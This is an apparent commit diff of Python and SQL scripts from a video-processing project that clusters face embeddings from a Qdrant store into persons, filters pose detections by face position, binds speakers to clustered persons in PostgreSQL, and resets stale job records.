headers["api-key"] = qdrant_api_key
# Scroll through all points
all_points = []
offset = None
while True:
payload = {
"filter": {
"must": [
{"key": "file_uuid", "match": {"value": file_uuid}}
]
},
"limit": 1000,
"with_vector": True
}
if offset:
payload["offset"] = offset
response = requests.post(
f"{qdrant_url}/collections/_faces/points/scroll",
json=payload,
headers=headers
)
if response.status_code != 200:
print(f"Qdrant error: {response.status_code}")
break
result = response.json().get("result", {})
points = result.get("points", [])
if not points:
break
all_points.extend(points)
offset = result.get("next_page_offset")
if not offset:
break
if len(all_points) % 5000 == 0:
print(f" Loaded {len(all_points)} points...")
print(f"[QDRANT] Loaded {len(all_points)} face embeddings")
return all_points
def cluster_by_trace(points, min_faces_per_trace=2, confidence_threshold=0.5):
"""
Cluster faces by trace_id:
1. Filter low-confidence faces
2. Group by trace_id
3. Compute weighted average embedding per trace
4. Cluster traces
"""
# Filter by confidence
high_conf_points = [
p for p in points
if p.get("payload", {}).get("confidence", 0) >= confidence_threshold
]
print(f"[FILTER] {len(high_conf_points)}/{len(points)} faces pass confidence >= {confidence_threshold}")
# Group by trace_id
traces = defaultdict(list)
for point in high_conf_points:
payload = point.get("payload", {})
trace_id = payload.get("trace_id")
if trace_id is not None and trace_id >= 0:
traces[trace_id].append(point)
print(f"[TRACE] Found {len(traces)} unique traces")
# Compute average embedding per trace
trace_embeddings = {}
for trace_id, trace_points in traces.items():
if len(trace_points) < min_faces_per_trace:
continue
# Weighted average by confidence
embeddings = []
weights = []
for p in trace_points:
embeddings.append(p["vector"])
weights.append(p.get("payload", {}).get("confidence", 1.0))
embeddings = np.array(embeddings)
weights = np.array(weights)
weights = weights / weights.sum()
avg_embedding = np.average(embeddings, axis=0, weights=weights)
trace_embeddings[trace_id] = {
"embedding": avg_embedding,
"face_count": len(trace_points),
"avg_confidence": float(np.mean(weights)),
"frames": [p.get("payload", {}).get("frame") for p in trace_points]
}
print(f"[TRACE] {len(trace_embeddings)} traces with >= {min_faces_per_trace} faces")
return trace_embeddings, traces
def main():
if not os.path.exists(FACE_JSON_PATH):
print(f"❌ Face JSON not found: {FACE_JSON_PATH}")
return
# Load face.json for frame structure
with open(FACE_JSON_PATH) as f:
face_data = json.load(f)
frames_list = face_data.get("frames", [])
if not frames_list:
print("❌ No frames in JSON")
return
# Get embeddings from Qdrant
print(f"[FACE_CLUSTER_V2] Loading embeddings for {UUID}...")
points = get_embeddings_from_qdrant(UUID)
if not points:
print("❌ No embeddings found")
return
# Cluster by trace_id
trace_embeddings, traces = cluster_by_trace(
points,
min_faces_per_trace=1, # Minimum 1 face per trace
confidence_threshold=0.5
)
if not trace_embeddings:
print("❌ No valid traces found")
return
# Prepare embeddings for clustering
trace_ids = list(trace_embeddings.keys())
embeddings = np.array([trace_embeddings[tid]["embedding"] for tid in trace_ids])
# Cluster traces
print(f"[CLUSTER] Clustering {len(trace_ids)} traces...")
# Use Agglomerative with cosine distance
# Distance threshold 0.35 for tighter clustering
clustering = AgglomerativeClustering(
n_clusters=None,
distance_threshold=0.35, # Tighter threshold for traces
metric="cosine",
linkage="average"
)
labels = clustering.fit_predict(embeddings)
# Map trace_id -> person_id
unique_labels = set(labels)
label_to_person = {l: f"Person_{i}" for i, l in enumerate(unique_labels)}
print(f"[CLUSTER] Detected {len(unique_labels)} unique persons")
# Create trace -> person mapping
trace_to_person = {}
for i, trace_id in enumerate(trace_ids):
trace_to_person[trace_id] = label_to_person[labels[i]]
# Build frame-level output
output_frames = []
fps_value = face_data.get("fps", 23.98)
for frame_idx, frame_obj in enumerate(frames_list):
frame_num = frame_obj.get("frame", frame_idx)
timestamp = frame_obj.get("timestamp", frame_num / fps_value if fps_value > 0 else 0)
faces = frame_obj.get("faces", [])
output_faces = []
for face_idx, face in enumerate(faces):
# Find matching point from Qdrant
face_x = face.get("x", 0)
face_y = face.get("y", 0)
# Find trace_id for this face
matched_trace_id = None
for p in points:
payload = p.get("payload", {})
if payload.get("frame") == frame_num:
bbox = payload.get("bbox", {})
if abs(bbox.get("x", 0) - face_x) < 50 and abs(bbox.get("y", 0) - face_y) < 50:
matched_trace_id = payload.get("trace_id")
break
if matched_trace_id is not None and matched_trace_id in trace_to_person:
person_id = trace_to_person[matched_trace_id]
output_faces.append({
"face_id": f"face_{frame_idx}_{face_idx}",
"cluster_id": person_id,
"confidence": face.get("confidence", 0.9),
"trace_id": matched_trace_id
})
if output_faces:
output_frames.append({
"frame": frame_num,
"timestamp": timestamp,
"faces": output_faces
})
# Build cluster summary
clusters = []
for label in unique_labels:
person_id = label_to_person[label]
trace_count = sum(1 for l in labels if l == label)
face_count = sum(
trace_embeddings[trace_ids[i]]["face_count"]
for i, l in enumerate(labels) if l == label
)
clusters.append({
"cluster_id": person_id,
"trace_count": trace_count,
"face_count": face_count,
"representative_face": None
})
# Save output
output_data = {
"clusters": clusters,
"frames": output_frames
}
with open(OUTPUT_JSON_PATH, "w", encoding="utf-8") as f:
json.dump(output_data, f, indent=2, ensure_ascii=False)
print(f"[OUTPUT] Saved to {OUTPUT_JSON_PATH}")
print(f" - {len(clusters)} persons")
print(f" - {len(output_frames)} frames")
# Print cluster distribution
for c in sorted(clusters, key=lambda x: x["face_count"], reverse=True)[:5]:
print(f" - {c['cluster_id']}: {c['trace_count']} traces, {c['face_count']} faces")
if __name__ == "__main__":
main()
scripts/fast_face_clustering_processor_v3_backup.py
+563
View File
@@ -0,0 +1,563 @@
#!/opt/homebrew/bin/python3.11
"""
Face Clustering Processor — Multi-stage trace-based deduplication
Flow:
1. Load all face embeddings from Qdrant _faces collection
2. Aggregate by trace_id -> mean embedding + frame range per trace
3. Stage 1: AgglomerativeClustering on trace means (strict threshold 0.35)
4. Stage 2: Merge compatible clusters (temporal overlap guard, threshold_dist 0.25)
5. Assign person_id back to individual faces via trace_id
6. Output face_cluster.json with auto speaker binding
Output format (unchanged):
{"status", "file_uuid", "clusters": [{cluster_id, face_count, representative_face}], "frames": [{frame, timestamp, faces: [{face_id, cluster_id, confidence}]}]}
"""
import json
import numpy as np
import os
import sys
import argparse
import psycopg2
from collections import defaultdict
from sklearn.cluster import AgglomerativeClustering
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from redis_publisher import RedisPublisher
UUID = os.getenv("UUID", "quick_preview")
OUTPUT_DIR = os.getenv("MOMENTRY_OUTPUT_DIR", "./output")
OUTPUT_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.face_clustered.json")
ASRX_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.asrx.json")
DB_URL = os.getenv("DATABASE_URL", "postgresql://accusys@localhost:5432/momentry")
STAGE1_THRESHOLD = 0.35
def write_empty_output(status: str, file_uuid: str, output_path: str):
output_data = {
"status": status,
"file_uuid": file_uuid,
"clusters": [],
"frames": []
}
with open(output_path, "w", encoding="utf-8") as f:
json.dump(output_data, f, indent=2, ensure_ascii=False)
print(f"Wrote empty output ({status}) to {output_path}")
def load_qdrant_faces(uuid: str, publisher: RedisPublisher) -> list:
"""Load all face points (payload + vector) from Qdrant _faces for a file."""
publisher.progress("face_cluster", 0, 100, "Loading embeddings from Qdrant")
try:
import requests
qdrant_url = os.environ.get("QDRANT_URL", "http://localhost:6333")
qdrant_api_key = os.environ.get("QDRANT_API_KEY", "Test3200Test3200Test3200")
headers = {}
if qdrant_api_key:
headers["api-key"] = qdrant_api_key
all_points = []
offset = None
while True:
body = {
"limit": 10000,
"with_payload": True,
"with_vector": True,
"filter": {
"must": [
{"key": "file_uuid", "match": {"value": uuid}}
]
}
}
if offset:
body["offset"] = offset
resp = requests.post(
f"{qdrant_url}/collections/_faces/points/scroll",
json=body,
headers=headers,
timeout=60
)
if resp.status_code != 200:
print(f"Qdrant scroll error: {resp.status_code}")
break
data = resp.json()
batch = data.get("result", {}).get("points", [])
all_points.extend(batch)
next_offset = data.get("result", {}).get("next_page_offset")
if not next_offset:
break
offset = next_offset
print(f"Loaded {len(all_points)} points from Qdrant _faces")
return all_points
except Exception as e:
print(f"Failed to load embeddings from Qdrant: {e}")
return []
def aggregate_by_trace(points: list) -> dict:
"""Group Qdrant points by trace_id.
Returns:
{trace_id: {'embeddings': ndarray, 'count': int, 'frame_min': int, 'frame_max': int}}
"""
traces = defaultdict(lambda: {"embeddings": [], "frame_min": float("inf"), "frame_max": -1, "face_refs": []})
for point in points:
payload = point.get("payload", {})
vector = point.get("vector")
if vector is None:
continue
trace_id = payload.get("trace_id", -1)
frame = payload.get("frame", 0)
t = traces[trace_id]
t["embeddings"].append(vector)
if frame < t["frame_min"]:
t["frame_min"] = frame
if frame > t["frame_max"]:
t["frame_max"] = frame
result = {}
for trace_id, t in traces.items():
emb = np.array(t["embeddings"])
result[trace_id] = {
"embeddings": emb,
"count": len(emb),
"frame_min": t["frame_min"],
"frame_max": t["frame_max"],
}
print(f" Aggregated {len(points)} faces into {len(result)} traces")
single_count = sum(1 for t in result.values() if t["count"] == 1)
print(f" Single-face traces: {single_count} ({single_count/len(result)*100:.0f}% of {len(result)})")
return result
def compute_trace_means(traces: dict) -> dict:
"""Normalize each trace's embeddings and compute mean vector.
Returns:
{trace_id: {'mean': ndarray(512,), 'frame_min': int, 'frame_max': int}}
"""
trace_data = {}
for trace_id, t in traces.items():
emb = t["embeddings"]
norms = np.linalg.norm(emb, axis=1, keepdims=True)
norms[norms == 0] = 1
emb_norm = emb / norms
mean_vec = np.mean(emb_norm, axis=0)
mean_vec = mean_vec / np.linalg.norm(mean_vec)
trace_data[trace_id] = {
"mean": mean_vec,
"count": t["count"],
"frame_min": t["frame_min"],
"frame_max": t["frame_max"],
}
return trace_data
def trace_level_clustering(trace_data: dict) -> dict:
"""Two-stage clustering on trace-level mean embeddings.
Stage 1: Strict AgglomerativeClustering (cosine, threshold=STAGE1_THRESHOLD)
Stage 2: Merge clusters whose centroids are within STAGE2_MERGE_DIST
and whose frame ranges do NOT overlap (temporal guard).
Returns:
{trace_id: person_label (int)}
"""
trace_ids = sorted(trace_data.keys())
n_traces = len(trace_ids)
if n_traces == 0:
return {}
if n_traces == 1:
return {trace_ids[0]: 0}
means = np.array([trace_data[t]["mean"] for t in trace_ids])
frames = [(trace_data[t]["frame_min"], trace_data[t]["frame_max"]) for t in trace_ids]
# Stage 1: strict AgglomerativeClustering on trace means
print(f" Stage 1: clustering {n_traces} traces (threshold={STAGE1_THRESHOLD})...")
clustering = AgglomerativeClustering(
n_clusters=None, distance_threshold=STAGE1_THRESHOLD,
metric="cosine", linkage="average"
)
stage1_labels = clustering.fit_predict(means)
n_stage1 = len(set(stage1_labels))
print(f" Stage 1 result: {n_stage1} clusters")
if n_stage1 <= 1:
# Nothing to merge
return {t: l for t, l in zip(trace_ids, stage1_labels)}
# Compute trace info per Stage 1 cluster
cluster_info = defaultdict(lambda: {"trace_ids": [], "means": [], "frame_min": float("inf"), "frame_max": -1})
for t, label in zip(trace_ids, stage1_labels):
ci = cluster_info[label]
ci["trace_ids"].append(t)
ci["means"].append(trace_data[t]["mean"])
if trace_data[t]["frame_min"] < ci["frame_min"]:
ci["frame_min"] = trace_data[t]["frame_min"]
if trace_data[t]["frame_max"] > ci["frame_max"]:
ci["frame_max"] = trace_data[t]["frame_max"]
cluster_labels = sorted(cluster_info.keys())
n_clusters = len(cluster_labels)
# Stage 2: trace-pair voting merge
# For each pair of clusters, count cross-trace high-similarity pairs.
# If enough traces match AND frame ranges don't overlap -> merge.
MATCH_SIM = 0.70
MATCH_RATIO = 0.30
merge_map = {cl: cl for cl in cluster_labels}
merged = set()
# Pre-compute normalized trace means for efficient dot-product
trace_mean_arr = np.array([trace_data[t]["mean"] for t in trace_ids])
trace_index = {t: i for i, t in enumerate(trace_ids)}
for i, cl_a in enumerate(cluster_labels):
if cl_a in merged:
continue
ci_a = cluster_info[cl_a]
ids_a = ci_a["trace_ids"]
for j, cl_b in enumerate(cluster_labels):
if j <= i:
continue
if cl_b in merged:
continue
ci_b = cluster_info[cl_b]
ids_b = ci_b["trace_ids"]
# Compute pairwise similarity between traces in A and B
idx_a = [trace_index[t] for t in ids_a]
idx_b = [trace_index[t] for t in ids_b]
sim_block = trace_mean_arr[idx_a] @ trace_mean_arr[idx_b].T # |A| x |B|
high_sim_pairs = np.sum(sim_block > MATCH_SIM)
min_size = min(len(ids_a), len(ids_b))
match_rate = high_sim_pairs / min_size if min_size > 0 else 0
if match_rate < MATCH_RATIO:
continue
# Temporal overlap check
r_a = (ci_a["frame_min"], ci_a["frame_max"])
r_b = (ci_b["frame_min"], ci_b["frame_max"])
overlap = max(0, min(r_a[1], r_b[1]) - max(r_a[0], r_b[0]))
if overlap > 0:
continue
merge_map[cl_b] = cl_a
merged.add(cl_b)
# Merge cluster info (for subsequent pair checks)
ci_a["trace_ids"].extend(ci_b["trace_ids"])
ci_a["means"].extend(ci_b["means"])
ci_a["frame_min"] = min(ci_a["frame_min"], ci_b["frame_min"])
ci_a["frame_max"] = max(ci_a["frame_max"], ci_b["frame_max"])
n_merged = n_clusters - len(merged)
print(f" Stage 2: merged {len(merged)} clusters -> {n_merged} final clusters")
# Build final label mapping: trace_id -> final cluster label
# Re-map to sequential Person_0..Person_N
final_cluster_ids = {}
next_label = 0
for cl in cluster_labels:
root = merge_map[cl]
if root not in final_cluster_ids:
final_cluster_ids[root] = next_label
next_label += 1
trace_to_person = {}
for t, label in zip(trace_ids, stage1_labels):
root = merge_map[label]
trace_to_person[t] = final_cluster_ids[root]
return trace_to_person
def main():
global OUTPUT_JSON_PATH, UUID
parser = argparse.ArgumentParser(description="Face Clustering Processor")
parser.add_argument("video_path", help="Path to video file")
parser.add_argument("output_path", help="Path to output JSON file")
parser.add_argument("--uuid", help="Video UUID (optional, overrides env var)")
parser.add_argument("--force", action="store_true", help="Overwrite existing output")
parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS)
args = parser.parse_args()
OUTPUT_JSON_PATH = args.output_path
output_dir = os.path.dirname(args.output_path)
if args.uuid:
uuid = args.uuid
else:
uuid = os.path.basename(args.video_path).rsplit(".", 1)[0]
UUID = uuid
face_json_path = os.path.join(output_dir, f"{uuid}.face.json")
if not os.path.exists(face_json_path):
face_json_path = os.path.join(output_dir, uuid, f"{uuid}.face.json")
publisher = RedisPublisher(uuid)
publisher.info("face_cluster", "Face clustering started")
if not os.path.exists(face_json_path):
print("Face JSON not found.")
write_empty_output("no_face_json", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "No face.json found")
return
with open(face_json_path) as f:
face_data = json.load(f)
frames_list = face_data.get("frames", [])
if not frames_list:
print("No frames in JSON (no faces).")
write_empty_output("no_faces", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "No faces to cluster")
return
fps_value = face_data.get("fps", 23.98)
# Step 1: Load all Qdrant _faces points
points = load_qdrant_faces(uuid, publisher)
if not points:
print("No embeddings found in Qdrant.")
write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "No embeddings in Qdrant")
return
publisher.progress("face_cluster", 10, 100, f"Loaded {len(points)} Qdrant points")
# Step 2: Aggregate by trace_id
traces = aggregate_by_trace(points)
if not traces:
print("No valid traces found.")
write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "No valid traces")
return
publisher.progress("face_cluster", 20, 100, f"Aggregated {len(traces)} traces")
# Step 3: Compute trace-level mean embeddings
trace_data = compute_trace_means(traces)
publisher.progress("face_cluster", 30, 100, "Computing trace means")
# Step 4: Two-stage trace-level clustering
trace_to_person = trace_level_clustering(trace_data)
if not trace_to_person:
print("Clustering produced no results.")
write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH)
publisher.complete("face_cluster", "Clustering empty")
return
n_persons = len(set(trace_to_person.values()))
print(f"Clustering result: {n_persons} persons ({len(trace_to_person)} traces)")
# Step 5: Build trace_id -> face detection mapping from Qdrant payload
# For each face.json frame+face, find matching Qdrant point via trace_id
# Build a map: trace_id -> list of (frame_idx, face_idx) references
trace_to_face_refs = defaultdict(list)
qdrant_by_frame_trace = {}
for point in points:
payload = point.get("payload", {})
frame = payload.get("frame")
trace_id = payload.get("trace_id", -1)
bbox = payload.get("bbox", {})
if frame is not None and trace_id >= 0:
cx = bbox.get("x", 0) + bbox.get("width", 0) // 2
cy = bbox.get("y", 0) + bbox.get("height", 0) // 2
key = (frame, cx, cy)
qdrant_by_frame_trace[key] = trace_id
# Match face.json frames to trace_ids using (frame, bbox_center)
matched_count = 0
for frame_idx, frame_obj in enumerate(frames_list):
frame_num = frame_obj.get("frame", frame_idx)
for face_idx, face in enumerate(frame_obj.get("faces", [])):
x = face.get("x", 0)
y = face.get("y", 0)
w = face.get("width", 0)
h = face.get("height", 0)
cx = x + w // 2
cy = y + h // 2
key = (frame_num, cx, cy)
trace_id = qdrant_by_frame_trace.get(key)
if trace_id is None:
# Approximate match (within 50px)
for (qf, qx, qy), tid in qdrant_by_frame_trace.items():
if qf == frame_num and abs(qx - cx) < 50 and abs(qy - cy) < 50:
trace_id = tid
break
if trace_id is not None and trace_id in trace_to_person:
person_label = trace_to_person[trace_id]
face["person_id"] = f"Person_{person_label}"
matched_count += 1
print(f" Assigned person_id to {matched_count} faces")
if matched_count == 0:
print("No faces matched to any trace - check Qdrant data integrity")
publisher.progress("face_cluster", 100, 100, "No trace matches")
write_empty_output("no_faces", uuid, OUTPUT_JSON_PATH)
return
# Step 6: Build clusters list (same format as before)
# Count faces per person_label
person_face_count = defaultdict(int)
person_best_face = {}
for frame_idx, frame_obj in enumerate(frames_list):
for face_idx, face in enumerate(frame_obj.get("faces", [])):
person_id = face.get("person_id")
if not person_id:
continue
person_face_count[person_id] += 1
confidence = face.get("confidence", 0.9)
if person_id not in person_best_face or confidence > person_best_face[person_id]["confidence"]:
person_best_face[person_id] = {
"face_id": f"face_{frame_idx}_{face_idx}",
"confidence": confidence,
"frame": frame_obj.get("frame", frame_idx),
"bbox": {"x": face.get("x"), "y": face.get("y"), "width": face.get("width"), "height": face.get("height")}
}
person_labels_sorted = sorted(person_face_count.keys(), key=lambda p: -person_face_count[p])
clusters = []
for person_id in person_labels_sorted:
cluster_entry = {
"cluster_id": person_id,
"face_count": person_face_count[person_id],
"representative_face": person_best_face.get(person_id)
}
clusters.append(cluster_entry)
# Build output frames (same format)
output_frames = []
for frame_idx, frame_obj in enumerate(frames_list):
timestamp = frame_obj.get("timestamp",
frame_obj.get("frame", 0) / fps_value if fps_value > 0 else 0)
output_faces = []
for face_idx, face in enumerate(frame_obj.get("faces", [])):
person_id = face.get("person_id")
if person_id:
output_faces.append({
"face_id": f"face_{frame_idx}_{face_idx}",
"cluster_id": person_id,
"confidence": face.get("confidence", 0.9),
})
if output_faces:
output_frames.append({
"frame": frame_obj.get("frame", frame_idx),
"timestamp": timestamp,
"faces": output_faces,
})
# Save output
output_data = {
"status": "has_faces",
"file_uuid": UUID,
"clusters": clusters,
"frames": output_frames,
}
with open(OUTPUT_JSON_PATH, "w", encoding="utf-8") as f:
json.dump(output_data, f, indent=2, ensure_ascii=False)
print(f"Saved clustered data to {OUTPUT_JSON_PATH}")
publisher.complete("face_cluster", f"{len(clusters)} clusters")
# Step 7: Auto-bind speakers
auto_bind_speakers()
def auto_bind_speakers():
if not os.path.exists(OUTPUT_JSON_PATH) or not os.path.exists(ASRX_JSON_PATH):
print("Missing data for speaker binding.")
return
with open(OUTPUT_JSON_PATH) as f:
face_clustered = json.load(f)
with open(ASRX_JSON_PATH) as f:
asrx_data = json.load(f)
print("Auto-binding Speakers to Persons...")
face_spans = []
for frame_obj in face_clustered.get("frames", []):
ts = frame_obj.get("timestamp")
for face in frame_obj.get("faces", []):
person_id = face.get("cluster_id")
if person_id and ts is not None:
face_spans.append({"ts": ts, "person_id": person_id})
speaker_person_counts = {}
for seg in asrx_data.get("segments", []):
start = seg.get("start")
end = seg.get("end")
speaker = seg.get("speaker_id")
if not speaker or start is None or end is None:
continue
candidates = [f for f in face_spans if f.get("ts") is not None and start <= f["ts"] <= end]
if candidates:
person_counts = {}
for c in candidates:
pid = c["person_id"]
person_counts[pid] = person_counts.get(pid, 0) + 1
if speaker not in speaker_person_counts:
speaker_person_counts[speaker] = {}
best_person = max(person_counts, key=person_counts.get)
speaker_person_counts[speaker][best_person] = (
speaker_person_counts[speaker].get(best_person, 0) + 1
)
try:
conn = psycopg2.connect(DB_URL)
cur = conn.cursor()
for speaker, persons in speaker_person_counts.items():
if not persons:
continue
best_person = max(persons, key=persons.get)
print(f" {speaker} is likely {best_person} ({persons[best_person]} votes)")
cur.execute("SELECT id FROM talents WHERE real_name = %s", (best_person,))
row = cur.fetchone()
if row:
talent_id = row[0]
else:
cur.execute(
"INSERT INTO talents (real_name) VALUES (%s) RETURNING id",
(best_person,),
)
talent_id = cur.fetchone()[0]
print(f" Created Talent #{talent_id} ({best_person})")
cur.execute(
"""
INSERT INTO identity_bindings (talent_id, binding_type, binding_value, source, confidence)
VALUES (%s, 'speaker', %s, 'auto_cluster', 0.8)
ON CONFLICT (binding_type, binding_value) DO UPDATE SET talent_id = EXCLUDED.talent_id
""",
(talent_id, speaker),
)
print(f" Bound {speaker} -> {best_person}")
conn.commit()
cur.close()
conn.close()
except Exception as e:
print(f" DB Error: {e}")
if __name__ == "__main__":
main()
scripts/filter_pose_by_face.py
+128
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@@ -0,0 +1,128 @@
#!/opt/homebrew/bin/python3.11
"""
Filter pose.json - remove poses that don't match any face.
Usage: python3 filter_pose_by_face.py --uuid <uuid> --threshold <px>
"""
import json
import argparse
import os
def filter_pose_by_face(face_path, pose_path, output_path, threshold=100.0):
with open(face_path) as f:
face_data = json.load(f)
with open(pose_path) as f:
pose_data = json.load(f)
# Build frame -> faces lookup
face_by_frame = {}
for fr in face_data.get('frames', []):
fn = fr.get('frame')
if fn is not None:
face_by_frame[fn] = fr.get('faces', [])
filtered_frames = []
total_poses = 0
filtered_poses = 0
matched_poses = 0
for fr in pose_data.get('frames', []):
fn = fr.get('frame')
persons = fr.get('persons', [])
faces = face_by_frame.get(fn, [])
if not faces or not persons:
# No faces or no persons - keep frame only if it has persons
if persons:
filtered_frames.append(fr)
total_poses += len(persons)
filtered_poses += len(persons)
continue
filtered_persons = []
for person in persons:
total_poses += 1
bbox = person.get('bbox', {})
# Find nose keypoint
nose_kp = None
for kp in person.get('keypoints', []):
if 'nose' in kp.get('name', '').lower():
nose_kp = kp
break
if nose_kp is None:
# No nose keypoint - discard
filtered_poses += 1
continue
nose_x = nose_kp['x']
nose_y = nose_kp['y']
# Check distance to any face center
matched = False
for face in faces:
fcx = face['x'] + face['width'] / 2
fcy = face['y'] + face['height'] / 2
dist = abs(fcx - nose_x) + abs(fcy - nose_y)
if dist < threshold:
matched = True
break
if matched:
matched_poses += 1
filtered_persons.append(person)
else:
filtered_poses += 1
if filtered_persons:
filtered_frames.append({
'frame': fn,
'timestamp': fr.get('timestamp'),
'persons': filtered_persons
})
# Build output
output = {
'frame_count': pose_data.get('frame_count', 0),
'fps': pose_data.get('fps', 0),
'frames': filtered_frames,
'filter_stats': {
'total_poses': total_poses,
'filtered_poses': filtered_poses,
'matched_poses': matched_poses,
'threshold': threshold
}
}
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'w') as f:
json.dump(output, f, indent=2)
print(f"Filter complete (threshold: {threshold}px)")
print(f" Total poses: {total_poses}")
print(f" Matched (kept): {matched_poses} ({matched_poses/max(1,total_poses)*100:.1f}%)")
print(f" Filtered out: {filtered_poses} ({filtered_poses/max(1,total_poses)*100:.1f}%)")
print(f" Output frames: {len(filtered_frames)}")
print(f" Saved to: {output_path}")
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--uuid', required=True)
parser.add_argument('--threshold', type=float, default=100.0)
parser.add_argument('--output-dir', default=None)
args = parser.parse_args()
output_dir = args.output_dir or os.environ.get('MOMENTRY_OUTPUT_DIR', '/Users/accusys/momentry/output')
face_path = os.path.join(output_dir, f'{args.uuid}.face.json')
pose_path = os.path.join(output_dir, f'{args.uuid}.pose.json')
output_path = os.path.join(output_dir, f'{args.uuid}.pose_filtered.json')
if not os.path.exists(face_path):
print(f"Error: face.json not found: {face_path}")
exit(1)
if not os.path.exists(pose_path):
print(f"Error: pose.json not found: {pose_path}")
exit(1)
filter_pose_by_face(face_path, pose_path, output_path, args.threshold)
scripts/filter_poses_by_face.py
+189
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#!/opt/homebrew/bin/python3.11
"""
Filter Poses by Face Alignment
Removes pose detections where face keypoints (nose, left_eye, right_eye)
do not all fall within a corresponding face bbox.
Usage:
python3 scripts/filter_poses_by_face.py --file-uuid <uuid> [--output-dir /path/to/output]
Output:
{uuid}.pose.cleaned.json - Filtered pose data
{uuid}.pose.stats.json - Statistics (removed, kept)
"""
import argparse
import json
import sys
from pathlib import Path
def point_in_bbox(x: float, y: float, bbox: dict) -> bool:
"""Check if point is inside bbox."""
return (
bbox['x'] <= x <= bbox['x'] + bbox['width'] and
bbox['y'] <= y <= bbox['y'] + bbox['height']
)
def face_keypoints_in_bbox(keypoints: list, bbox: dict) -> bool:
"""Check if nose, left_eye, right_eye are all in bbox."""
required = {'nose', 'left_eye', 'right_eye'}
kp_dict = {kp['name']: kp for kp in keypoints if kp['name'] in required}
if len(kp_dict) < 3:
return False
for name in required:
kp = kp_dict[name]
if not point_in_bbox(kp['x'], kp['y'], bbox):
return False
return True
def filter_poses(face_data: dict, pose_data: dict) -> tuple:
"""
Filter poses based on face alignment.
Returns:
(cleaned_pose_data, stats)
"""
frames_map = {}
# Build frame -> faces mapping from face_traced.json
frames = face_data.get('frames', {})
if isinstance(frames, dict):
# Dict format: {"frame_num": {...}}
for frame_num, frame_data in frames.items():
faces = frame_data.get('faces', [])
bboxes = []
for f in faces:
if 'bbox' in f:
bboxes.append(f['bbox'])
else:
bboxes.append({'x': f.get('x', 0), 'y': f.get('y', 0),
'width': f.get('width', 0), 'height': f.get('height', 0)})
frames_map[int(frame_num)] = bboxes
elif isinstance(frames, list):
# List format
for frame_data in frames:
frame_num = frame_data.get('frame', frame_data.get('frame_number', 0))
faces = frame_data.get('faces', [])
bboxes = []
for f in faces:
if 'bbox' in f:
bboxes.append(f['bbox'])
else:
bboxes.append({'x': f.get('x', 0), 'y': f.get('y', 0),
'width': f.get('width', 0), 'height': f.get('height', 0)})
frames_map[frame_num] = bboxes
print(f"[pose_filter] Loaded {len(frames_map)} frames with face data")
# Filter poses
cleaned_frames = []
total_poses = 0
removed_poses = 0
for frame in pose_data.get('frames', []):
frame_num = frame.get('frame', frame.get('frame_number', 0))
face_bboxes = frames_map.get(frame_num, [])
kept_persons = []
for person in frame.get('persons', []):
total_poses += 1
keypoints = person.get('keypoints', [])
# Check if aligned with any face bbox
aligned = any(
face_keypoints_in_bbox(keypoints, bbox)
for bbox in face_bboxes
) if face_bboxes else False
if aligned:
kept_persons.append(person)
else:
removed_poses += 1
if kept_persons:
cleaned_frames.append({
**frame,
'persons': kept_persons,
})
cleaned = {
**pose_data,
'frames': cleaned_frames,
'frame_count': len(cleaned_frames),
}
stats = {
'total_poses': total_poses,
'kept_poses': total_poses - removed_poses,
'removed_poses': removed_poses,
'removal_rate': f"{removed_poses / total_poses * 100:.1f}%" if total_poses > 0 else "0%",
'frames_with_faces': len(frames_map),
'frames_kept': len(cleaned_frames),
}
return cleaned, stats
def main():
parser = argparse.ArgumentParser(description="Filter poses by face alignment")
parser.add_argument('--file-uuid', '-u', required=True, help="File UUID")
parser.add_argument('--output-dir', '-o', default='/Users/accusys/momentry/output', help="Output directory")
args = parser.parse_args()
output_path = Path(args.output_dir)
# Load face data
face_path = output_path / f"{args.file_uuid}.face_traced.json"
if not face_path.exists():
print(f"[pose_filter] Face file not found: {face_path}", file=sys.stderr)
sys.exit(1)
print(f"[pose_filter] Loading {face_path.name}...")
with open(face_path) as f:
face_data = json.load(f)
# Load pose data
pose_path = output_path / f"{args.file_uuid}.pose.json"
if not pose_path.exists():
print(f"[pose_filter] Pose file not found: {pose_path}", file=sys.stderr)
sys.exit(1)
print(f"[pose_filter] Loading {pose_path.name}...")
with open(pose_path) as f:
pose_data = json.load(f)
print(f"[pose_filter] Pose frames: {len(pose_data.get('frames', []))}")
# Filter
print(f"[pose_filter] Filtering poses...")
cleaned, stats = filter_poses(face_data, pose_data)
# Save cleaned pose
cleaned_path = output_path / f"{args.file_uuid}.pose.cleaned.json"
with open(cleaned_path, 'w') as f:
json.dump(cleaned, f)
print(f"[pose_filter] Saved: {cleaned_path}")
# Save stats
stats_path = output_path / f"{args.file_uuid}.pose.stats.json"
with open(stats_path, 'w') as f:
json.dump(stats, f, indent=2)
print(f"[pose_filter] Stats: {stats_path}")
# Print summary
print(f"\n[pose_filter] === SUMMARY ===")
print(f" Total poses: {stats['total_poses']}")
print(f" Kept poses: {stats['kept_poses']}")
print(f" Removed poses: {stats['removed_poses']} ({stats['removal_rate']})")
print(f" Frames kept: {stats['frames_kept']}")
if __name__ == "__main__":
main()
scripts/fix_stale_processing.sql
+22
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@@ -0,0 +1,22 @@
-- Fix stale_processing files: status='processing' but job_id IS NULL
-- These files should be reset to 'pending' so they can be processed properly
-- Show current state
SELECT file_uuid, file_name, status, job_id
FROM videos
WHERE status = 'processing' AND job_id IS NULL;
-- Fix: Reset to pending
UPDATE videos
SET status = 'pending', processing_status = NULL
WHERE status = 'processing' AND job_id IS NULL;
-- Verify fix
SELECT file_uuid, file_name, status, job_id
FROM videos
WHERE file_uuid IN (
'5e207a246fd6a2a65ee0a267440465ee',
'9cbeb112fcc5452e869755a539478061',
'bfba056f5021e2404b0870cc0b1fa851',
'2d0ec3a72d5dda98b10b3eb777650846'
);
scripts/hand_processor.py
+1
View File
